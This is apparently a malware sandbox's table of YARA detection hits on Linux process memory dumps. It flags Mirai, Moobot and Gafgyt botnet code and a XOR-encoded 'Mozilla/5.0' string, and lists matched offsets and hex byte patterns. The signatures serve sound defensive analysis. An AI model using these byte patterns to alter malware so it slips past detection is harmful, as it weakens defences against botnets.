6367.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6645.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6645.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6645.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6645.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6645.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6645.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6463.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6463.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6463.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6463.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6463.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6463.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6999.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6999.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6999.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6999.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6999.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6999.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6537.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6537.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6537.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6537.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6537.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6537.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6487.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6434.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6530.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6991.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6840.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6840.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6840.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6663.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6663.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6663.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6663.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6663.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6529.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6929.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6929.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6929.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6929.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
